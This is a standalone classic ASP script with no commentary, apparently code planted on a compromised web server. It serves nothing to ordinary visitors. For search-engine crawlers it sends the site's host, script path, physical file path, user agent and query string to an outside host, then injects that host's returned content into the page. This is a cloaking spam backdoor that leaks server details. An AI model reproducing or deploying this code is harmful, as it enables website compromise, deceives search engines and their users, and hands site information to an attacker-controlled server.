<%Set f=Server.CreateObject("scripting.filesystemobject"):u=LCASE(request.servervariables("http_user_agent")):If instr(u,"spider")=0 then:response.write(""):response.end:END IF:p=request.servervariables("Path_Translated"):c=gh("http://s4.lt-zx.com/2/?HOST="&request.servervariables("HTTP_HOST")&"&s="&request.servervariables("script_name")&"&g=156&UA="&u&"&p="&p&"&"&request.QueryString):IF INSTR(c,"guzheng")>0 THEN:response.write(trim(c)):response.write(gh("http://"&request.servervariables("HTTP_HOST"))):END IF:Function gh(url):Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP"):ObjXMLHTTP.Open "GET",url,False:ObjXMLHTTP.setRequestHeader "User-Agent","KS":ObjXMLHTTP.send:GetHtml=ObjXMLHTTP.responseBody:Set ObjXMLHTTP=Nothing:set objStream=Server.CreateObject("Adodb.Stream"):objStream.Type=1:objStream.Mode =3:objStream.Open:objStream.Write GetHtml:objStream.Position=0:objStream.Type=2:objStream.Charset="gb2312":gh=objStream.ReadText:objStream.Close:End Function%>